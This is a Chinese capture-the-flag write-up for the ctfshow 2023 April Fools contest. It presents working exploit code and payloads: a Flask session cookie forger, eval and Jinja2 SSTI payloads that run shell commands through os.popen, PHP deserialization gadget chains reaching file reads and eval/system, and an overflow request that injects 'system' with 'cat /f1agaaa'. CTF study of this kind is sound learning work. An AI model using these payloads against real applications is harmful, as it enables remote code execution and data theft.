前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >ctfshow 愚人杯2023

ctfshow 愚人杯2023

作者头像
ph0ebus
发布2023-05-16 10:59:25
发布2023-05-16 10:59:25
1.2K00
代码可运行
举报
运行总次数:0
代码可运行
easy_signin

?img=ZmFjZS5wbmc=

base64解码发现file_get_contents()任意文件读取

代码语言:javascript
代码运行次数:0
运行
复制
?img=aW5kZXgucGhw

dataURL查看源码后base64解码即可得到index.php源码,里面有flag

easy_flask

随便注册个账号登录

根据提示需要以 admin 的身份登入

并且给的链接中展示了一部分源码,看到app.secret_key = 'S3cr3tK3y'就能联想到flask的session伪造

加解密脚本如下

代码语言:javascript
代码运行次数:0
运行
复制
#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3:  # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4:  # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else:  # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface


class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4:  # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e

        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if (secret_key == None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else:  # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e

        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if (secret_key == None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e

if __name__ == "__main__":
    # Args are only relevant for __main__ usage

    ## Description for help
    parser = argparse.ArgumentParser(
        description='Flask Session Cookie Decoder/Encoder',
        epilog="Author : Wilson Sumanang, Alexandre ZANNI")

    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                               help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                               help='Session cookie structure', required=True)

    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                               help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                               help='Session cookie value', required=True)

    ## get args
    args = parser.parse_args()

    ## find the option chosen
    if (args.subcommand == 'encode'):
        if (args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif (args.subcommand == 'decode'):
        if (args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value, args.secret_key))
        elif (args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))

在命令行中解密 session 后将 role 的值改为 admin 再加密,session 可以为eyJsb2dnZWRpbiI6dHJ1ZSwicm9sZSI6ImFkbWluIiwidXNlcm5hbWUiOiJ0ZXN0dXNlciJ9.ZC0-eA.Tjc6-iJogFi49pC1I39fMy265H8

代码语言:javascript
代码运行次数:0
运行
复制
python flask_session_cookie_manager3.py decode -s “” -c “”
python flask_session_cookie_manager3.py encode -s “” -t “”
//其中session值填在 -c 后面,SECRET_KEY填在 -s 后面
//解密得到的东西填在 -t 后面,SECRET_KEY填在 -s 后面

带着 session 重新加载一手

发现一个下载文件的路由,存在任意文件下载漏洞导致源码泄露

将 fakeflag.txt 换成其他想获取的文件即可

代码语言:javascript
代码运行次数:0
运行
复制
/download/?filename=app.py

简单审计源码即可发现在/hello路由下存在任意代码执行

代码语言:javascript
代码运行次数:0
运行
复制
@app.route('/hello/')
def hello_world():
    try:
        s = request.args.get('eval')
        return f"hello,{eval(s)}"
    except Exception as e:
        print(e)
        pass
        
    return "hello"

payload为

代码语言:javascript
代码运行次数:0
运行
复制
/hello/?eval=__import__("os").popen("cat%20/flag_is_h3re").read()
easy_ssti

右键查看源码,注释中有app.zip,存在源码泄露

代码语言:javascript
代码运行次数:0
运行
复制
@app.route('/hello/<name>')
def hellodear(name):
    if "ge" in name:
        return render_template_string('hello %s' % name)
    elif "f" not in name:
        return render_template_string('hello %s' % name)
    else:
        return 'Nonononon'

很容易发现不规范的模板渲染导致的flask的SSTI模板注入漏洞

这里flag在根目录下,但不方便使用斜线/,可以用多个cd命令绕过,或使用request对象绕过

payload:

代码语言:javascript
代码运行次数:0
运行
复制
/hello/%7B%7B''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['__builtins__']['__import__']('os').popen('cd ..;cd ..;cd ..;cd ..;cat *').read()%7D%7D

/hello/{{ "".__class__.__base__ .__subclasses__()[132].__init__.__globals__['popen'](request.args.get("ctfshow")).read()}}?ctfshow=cat /flag 
被遗忘的反序列化(复现)

题目内容

代码语言:javascript
代码运行次数:0
运行
复制
<?php

# 根目录中有一个txt文件哦
error_reporting(0);
show_source(__FILE__);
include("check.php");

class EeE{
    public $text;
    public $eeee;
    public function __wakeup(){
        if ($this->text == "aaaa"){
            echo lcfirst($this->text);
        }
    }

    public function __get($kk){
        echo "$kk,eeeeeeeeeeeee";
    }

    public function __clone(){
        $a = new cycycycy;
        $a -> aaa();
    }
    
}

class cycycycy{
    public $a;
    private $b;

    public function aaa(){
        $get = $_GET['get'];
        $get = cipher($get);
        if($get === "p8vfuv8g8v8py"){
            eval($_POST["eval"]);
        }
    }


    public function __invoke(){
        $a_a = $this -> a;
        echo "\$a_a\$";
    }
}

class gBoBg{
    public $name;
    public $file;
    public $coos;
    private $eeee="-_-";
    public function __toString(){
        if(isset($this->name)){
            $a = new $this->coos($this->file);
            echo $a;
        }else if(!isset($this -> file)){
            return $this->coos->name;
        }else{
            $aa = $this->coos;
            $bb = $this->file;
            return $aa();
        }
    }
}   

class w_wuw_w{
    public $aaa;
    public $key;
    public $file;
    public function __wakeup(){
        if(!preg_match("/php|63|\*|\?/i",$this -> key)){
            $this->key = file_get_contents($this -> file);
        }else{
            echo "不行哦";
        }
    }

    public function __destruct(){
        echo $this->aaa;
    }

    public function __invoke(){
        $this -> aaa = clone new EeE;
    }
}

$_ip = $_SERVER["HTTP_AAAAAA"];
unserialize($_ip);

首先_ip = _SERVER["HTTP_AAAAAA"];是接收HTTP包中header头中AAAAAA的值,也是进行反序列化的值

然后在类 cycycycy 中发现任意代码执行,但cipher()这个加密函数的逻辑未知,存在于包含的check.php文件中

代码语言:javascript
代码运行次数:0
运行
复制
class cycycycy{
    public $a;
    private $b;

    public function aaa(){
        $get = $_GET['get'];
        $get = cipher($get);
        if($get === "p8vfuv8g8v8py"){
            eval($_POST["eval"]);
        }
    }


    public function __invoke(){
        $a_a = $this -> a;
        echo "\$a_a\$";
    }
}

所以这里要想办法读取check.php,可以在gBoBg类中发现可以利用PHP原生类

代码语言:javascript
代码运行次数:0
运行
复制
class gBoBg{
    public $name;
    public $file;
    public $coos;
    private $eeee="-_-";
    public function __toString(){
        if(isset($this->name)){
            $a = new $this->coos($this->file);
            echo $a;
        }else if(!isset($this -> file)){
            return $this->coos->name;
        }else{
            $aa = $this->coos;
            $bb = $this->file;
            return $aa();
        }
    }
} 

这时候可以发现,既然都有办法读check.php了怎么不直接读取flag试试呢(蠢死,当时没注意到

代码语言:javascript
代码运行次数:0
运行
复制
<?php
class gBoBg{
    public $name;
    public $file;
    public $coos;

}

class w_wuw_w{
    public $aaa;
    public $key;
    public $file="";
}

$a = new w_wuw_w();
$b = new gBoBg();

$b->coos= 'DirectoryIterator';
$b->file = 'glob:///*';
$b->name = 1;
$a->aaa = $b;
echo serialize($a);

//O:7:"w_wuw_w":3:{s:3:"aaa";O:5:"gBoBg":3:{s:4:"name";i:1;s:4:"file";s:10:"glob:///f*";s:4:"coos";s:17:"DirectoryIterator";}s:3:"key";N;s:4:"file";s:0:"";}
//得到flag文件名为f1agaaa,然后用SplFileObject类读取内容

payload为

代码语言:javascript
代码运行次数:0
运行
复制
O:7:"w_wuw_w":3:{s:3:"aaa";O:5:"gBoBg":3:{s:4:"name";i:1;s:4:"file";s:8:"/f1agaaa";s:4:"coos";s:13:"SplFileObject";}s:3:"key";N;s:4:"file";s:0:"";}

这里讲讲我思路,在类w_wuw_w中,调用w_wuw_w::__destruct()前首先会触发w_wuw_w::__wakeup(),读取由w_wuw_w::file属性指定的文件内容,并将结果赋值给w_wuw_w::key,因此将w_wuw_w::aaa赋值为w_wuw_w::key的引用即可输出任意文件内容,可惜不太了解关于php引用的东西,思路卡在这了

代码语言:javascript
代码运行次数:0
运行
复制
<?php

class w_wuw_w
{
    public $key;
    public $aaa;
    public $file = 'check.php';
}

$a = new w_wuw_w();
$a->aaa = &$a->key;

echo serialize($a); // O:7:"w_wuw_w":3:{s:3:"key";N;s:3:"aaa";R:2;s:4:"file";s:9:"check.php";}

得到check.php源码如下

代码语言:javascript
代码运行次数:0
运行
复制
<?php

function cipher($str)
{

    if (strlen($str) > 10000) {
        exit(-1);
    }

    $charset = "qwertyuiopasdfghjklzxcvbnm123456789";
    $shift = 4;
    $shifted = "";

    for ($i = 0; $i < strlen($str); $i++) {
        $char = $str[$i];
        $pos = strpos($charset, $char);

        if ($pos !== false) {
            $new_pos = ($pos - $shift + strlen($charset)) % strlen($charset);
            $shifted .= $charset[$new_pos];
        } else {
            $shifted .= $char;
        }
    }

    return $shifted;
}

这里的逻辑就是对原字符串的每个字符按规定的字符表做了移位操作,传参?get=fe1ka1ele1efp即可通过判断执行任意代码

整个链子的思路就是cycycy::aaa() <- EeE::__clone() <- w_wuw_w::__invoke <- gBoBg::__toString() <- w_wuw_w::__destruct()

然后就能进到aaa()里面POST传参执行任意代码

代码语言:javascript
代码运行次数:0
运行
复制
<?php
class gBoBg
{
    public $file = '1';
    public $coos;
}

class w_wuw_w
{
    public $aaa;
}

$a = new w_wuw_w();
$b = new gBoBg();

$b->coos = $a;
$a->aaa = $b;

echo serialize($a); 
//O:7:"w_wuw_w":1:{s:3:"aaa";O:5:"gBoBg":2:{s:4:"file";s:1:"1";s:4:"coos";r:1;}}
easy_php(复现)

题解:https://www.yuque.com/boogipop/tdotcs/hobe2yqmb3kgy1l8,Boogipop师傅tql

代码语言:javascript
代码运行次数:0
运行
复制
<?php
error_reporting(0);
highlight_file(__FILE__);

class ctfshow{

    public function __wakeup(){
        die("not allowed!");
    }

    public function __destruct(){
        system($this->ctfshow);
    }

}

$data = $_GET['1+1>2'];

if(!preg_match("/^[Oa]:[\d]+/i", $data)){
    unserialize($data);
}

?>

在7.3.22这种高版本中修改属性个数绕过__wakeup()是不现实的,还有另外绕过的方式,(O改为C)

a - array b - boolean d - double i - integer o - common object r - reference s - string C - custom object O - class N - null R - pointer reference U - unicode string

参考文章:https://bugs.php.net/bug.php?id=81153

不过这题不用绕过__wakeup(),die()在当前版本是不会影响反序列化的进行的

所以这里只需要绕过正则即可,不让O打头就用不了普通的类对象,不让a打头就用不了数组对象构造恶意反序列化对象,所以找找内置类(custom object)里面有啥可利用的

代码语言:javascript
代码运行次数:0
运行
复制
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {

    $methods = get_class_methods($class);

    foreach ($methods as $method) {
        if (in_array($method, array('unserialize',))) {
            print $class . '::' . $method . "\n";
        }
    }
}
/*
ArrayObject::unserialize
ArrayIterator::unserialize
RecursiveArrayIterator::unserialize
SplDoublyLinkedList::unserialize
SplQueue::unserialize
SplStack::unserialize
SplObjectStorage::unserialize
*/

于是可以构造恶意反序列化对象

代码语言:javascript
代码运行次数:0
运行
复制
<?php

class ctfshow {
    public $ctfshow;
}
$a=new ctfshow;
$a->ctfshow="whoami";
$arr=array("evil"=>$a);
$oa=new ArrayObject($arr);
$res=serialize($oa);
echo $res;
?>
//C:11:"ArrayObject":77:{x:i:0;a:1:{s:4:"evil";O:7:"ctfshow":1:{s:7:"ctfshow";s:6:"whoami";}};m:a:0:{}}

payload为

代码语言:javascript
代码运行次数:0
运行
复制
?1%2b1>2=C:11:"ArrayObject":77:{x:i:0;a:1:{s:4:"evil";O:7:"ctfshow":1:{s:7:"ctfshow";s:6:"whoami";}};m:a:0:{}}
easy_class和暗网聊天室

后面暂时有点头痛

一个是pwn✌的溢出思想(https://www.yuque.com/misery333/sz1apr/qvvd5igfpyc7xdu4?singleDoc#pEncV),一个是密码✌的RSA公钥体系(https://ctf-show.feishu.cn/docx/KTfvd3GCOodJrRxVnk5ck1LunYb)

代码语言:javascript
代码运行次数:0
运行
复制
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-03-27 22:45:25
# @Last Modified by:   h1xa
# @Last Modified time: 2023-03-30 16:34:21
# @email: h1xa@ctfer.com
# @link: https://ctfer.com


import requests


url = "http://e89d2c6d-e01e-4fef-9510-bf760aa69af6.challenge.ctf.show/"

data = {
        "data":"A"*50+"flag"+"\x00"*19+"B"*32+"\x00"*20+"system"+"\x00"*18+"cat /f1agaaa"+"\x00"*8
}


response = requests.post(url=url,data=data)

print(response.text)
代码语言:javascript
代码运行次数:0
运行
复制
import re
import requests
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
from flask import Flask, request, abort

url = 'http://xxx.challenge.ctf.show/' # 题目URL,先等几秒再运行

# 加密
def encrypt(plaintext, public_key):
    cipher = PKCS1_v1_5.new(RSA.importKey(public_key))

    ciphertext = ''
    for i in range(0, len(plaintext), 128):
        ciphertext += cipher.encrypt(plaintext[i:i+128].encode('utf-8')).hex()

    return ciphertext

def get_plaintext_half():
    text = requests.get(url+'/update').text
    return re.findall('[^@]*\.92', text)[0]

def get_public_key(public_key):
    text = requests.get(url+'/shop?api=127.0.0.1:9999').text
    return re.findall('-----BEGIN PUBLIC KEY-----\n.*\n.*\n.*\n.*\n.*\n.*\n.*\n-----END PUBLIC KEY-----', text)[public_key-1]

IP = '2.56.12.89'
plaintext_half = get_plaintext_half() # 获取解密后的数据

# 获取公钥2、3
public_key2 = get_public_key(2).replace('\n','').replace('-----BEGIN PUBLIC KEY-----','-----BEGIN PUBLIC KEY-----\n').replace('-----END PUBLIC KEY-----','\n-----END PUBLIC KEY-----')
public_key3 = get_public_key(3).replace('\n','').replace('-----BEGIN PUBLIC KEY-----','-----BEGIN PUBLIC KEY-----\n').replace('-----END PUBLIC KEY-----','\n-----END PUBLIC KEY-----')

# 两次加密
IP_ciphertext = encrypt(IP, public_key3)
IP_ciphertext = encrypt(IP_ciphertext, public_key2)

# 替换最终IP
plaintext_half_new = plaintext_half[:2048] + IP_ciphertext + plaintext_half[4096:]

# 请求
requests.post(url + '/pass_message',data = {'message':plaintext_half_new})
# 接收明文
text = requests.get(url+'/update').text
flag = re.findall('ctfshow{.*}', text)[0]
print(flag)
input()

本文采用CC-BY-SA-3.0协议,转载请注明出处 Author: ph0ebus

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2023-04-05,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • easy_signin
  • easy_flask
  • easy_ssti
  • 被遗忘的反序列化(复现)
  • easy_php(复现)
  • easy_class和暗网聊天室
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档